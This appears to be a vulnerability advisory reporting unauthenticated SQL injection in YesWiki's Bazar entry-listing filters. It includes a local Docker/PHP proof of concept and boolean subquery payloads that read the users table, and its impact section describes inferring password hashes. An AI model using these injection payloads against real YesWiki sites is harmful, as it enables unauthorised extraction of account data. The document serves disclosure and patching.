YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters

Numeric Bazar filters are a documented/common feature. The documentation includes examples such as:

query="bf_age>18"
query="bf_age >= 20 | bf_age < 40"

Bazar numeric fields are also common through field types such as number, range, and map latitude/longitude fields.

PoC

The following local-only PoC uses the shipped SearchManager code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.

Run from the repository root:

set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 <<'PHP'
<?php
namespace YesWiki\Bazar\Service {
    class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; }
    class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new \DummyNumberField()]]]; } }
}
namespace {
    class DummyNumberField {
        public function getPropertyName() { return 'bf_age'; }
        public function getValueStructure() { return ['bf_age' => ['_mode_' => 'single', '_type_' => 'number']]; }
    }
    class DummyServices {
        public function get($class) {
            if ($class === 'YesWiki\\Bazar\\Service\\FormManager') { return new \YesWiki\Bazar\Service\FormManager(); }
            if ($class === 'YesWiki\\Bazar\\Service\\EntryManager') { return new \YesWiki\Bazar\Service\EntryManager(); }
            throw new \RuntimeException('Unexpected service: ' . $class);
        }
    }
    class DummyWiki {
        public $dblink;
        public $services;
        public function __construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }
        public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; }
        public function UserIsAdmin() { return false; }
        public function getUserName() { return 'Anonymous'; }
    }
    class DummyDbService {
        public function getCollation(): string { return 'utf8mb4_unicode_ci'; }
        public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; }
    }
    class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }

    require '/repo/tools/bazar/services/SearchManager.php';

    $db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');
    if (!$db) { throw new \RuntimeException(mysqli_connect_error()); }
    mysqli_set_charset($db, 'utf8mb4');

    foreach ([
        "CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)",
        "CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))",
        "CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))",
        "INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', '[email protected]')",
        "INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))",
        "INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')",
    ] as $sql) {
        if (!mysqli_query($db, $sql)) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
    }

    $ref = new \ReflectionClass(\YesWiki\Bazar\Service\SearchManager::class);
    $sm = $ref->newInstanceWithoutConstructor();
    foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {
        $rp = $ref->getProperty($prop);
        $rp->setAccessible(true);
        $rp->setValue($sm, $value);
    }

    $cases = [
        'control_no_match' => 'bf_age>100',
        'boolean_true_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0',
        'boolean_false_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)>0',
    ];

    foreach ($cases as $label => $query) {
        $params = ['queries' => $query, 'formsIds' => [1]];
        $sql = $sm->prepareSearchRequest($params, true, false);
        $result = mysqli_query($db, $sql);
        if (!$result) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
        $tags = [];
        while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; }
        sort($tags);
        printf("%s: %d rows [%s]\n", $label, count($tags), implode(',', $tags));
        if ($label === 'boolean_true_subquery') {
            echo "where_fragment=" . preg_replace('/^.* WHERE /s', '', $sql) . "\n";
        }
    }
}
PHP

Expected vulnerable output:

control_no_match: 0 rows []
boolean_true_subquery: 2 rows [EntryA,EntryB]
where_fragment=((CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0)) AND 1=1
boolean_false_subquery: 0 rows []

The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.

Impact

This is an unauthenticated SQL injection vulnerability.

An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.